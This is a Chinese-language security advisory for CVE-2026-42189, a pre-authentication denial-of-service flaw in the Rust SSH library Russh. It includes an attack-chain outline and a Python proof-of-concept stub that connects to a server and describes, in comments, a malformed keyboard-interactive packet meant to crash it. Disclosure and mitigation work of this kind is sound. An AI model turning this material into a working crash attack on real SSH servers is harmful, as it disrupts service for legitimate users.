IPBUF安全漏洞报告
English
CVE-2026-42189 CVSS 7.5 高危

CVE-2026-42189 Russh键盘交互认证拒绝服务漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42189
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Russh

相关标签

拒绝服务DoSRusshSSHRustCVE-2026-42189Pre-auth

漏洞概述

CVE-2026-42189 是 Rust SSH 客户端与服务端库 Russh 中的一个安全漏洞。该漏洞存在于服务器的键盘交互认证处理程序中,属于预认证类型的拒绝服务漏洞。攻击者无需任何凭证,仅需发送一个特制的畸形数据包,即可导致任何实现了键盘交互认证(例如用于 2FA/TOTP)的 Russh 服务器崩溃。该问题已在 0.60.1 版本中得到修复。

技术细节

该漏洞的根本原因在于 Russh 库在处理 SSH 协议的键盘交互认证请求时,缺乏对畸形数据包的充分校验。当服务器启用键盘交互认证机制(通常用于双因素认证或多因素认证场景)时,会进入特定的处理逻辑。攻击者可以利用这一逻辑缺陷,构造一个包含异常字段或格式的数据包。由于服务器代码在解析该包时未进行边界检查或异常捕获,导致触发未定义行为(如 panic 或内存访问错误),从而直接终止服务进程。由于此漏洞发生在认证阶段之前,攻击者无需拥有有效用户名或密码即可远程触发,具有极高的攻击便利性。

攻击链分析

STEP 1
步骤1:侦察
攻击者扫描目标网络,识别出使用 Russh 库且开启键盘交互认证(Keyboard-Interactive)的 SSH 服务器。
STEP 2
步骤2:建立连接
攻击者与目标服务器建立 TCP 连接,并完成基础的 SSH 握手与密钥交换(KEX)。
STEP 3
步骤3:触发漏洞
攻击者在认证阶段发起键盘交互认证请求,并发送一个特制的畸形数据包(例如包含错误的长度字段)。
STEP 4
步骤4:拒绝服务
Russh 服务器解析该畸形包时触发异常或 Panic,导致服务进程崩溃,无法为合法用户提供服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-42189 (Russh Pre-auth DoS) # This script demonstrates the concept of sending a malformed packet # during the keyboard-interactive authentication phase. import socket import sys def send_exploit(target_ip, target_port): print(f"[*] Connecting to {target_ip}:{target_port}") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Receive SSH Banner banner = s.recv(1024) print(f"[+] Server Banner: {banner.decode().strip()}") # Send Client Banner s.send(b"SSH-2.0-PoC_Client\r\n") # Note: A full exploitation requires completing the SSH Key Exchange (KEX) # to establish an encrypted channel. Once encrypted, the attacker sends # a malformed SSH_MSG_USERAUTH_INFO_RESPONSE packet. # # Conceptual Malformed Packet Structure (post-KEX): # Byte Message Code: 60 (SSH_MSG_USERAUTH_INFO_REQUEST) # or 61 (SSH_MSG_USERAUTH_INFO_RESPONSE) # String Name (empty or malformed length) # String Instruction (empty or malformed length) # String Language Tag (empty) # Uint32 Num-prompts (malformed, e.g., very large integer) # # Sending this malformed structure triggers the panic in Russh < 0.60.1. # This script stops at the connection phase as a PoC stub. print("[*] Exploit packet would be sent here after Key Exchange.") print("[*] Server should crash if vulnerable.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <IP> <PORT>") sys.exit(1) send_exploit(sys.argv[1], int(sys.argv[2]))

影响范围

Russh < 0.60.1

防御指南

临时缓解措施
建议用户尽快将 Russh 库升级到 0.60.1 版本。在升级前,可以临时禁用服务器的键盘交互认证功能,转而使用其他认证方式(如公钥认证),或通过防火墙限制不受信任的 IP 访问 SSH 端口,以降低被攻击风险。

参考链接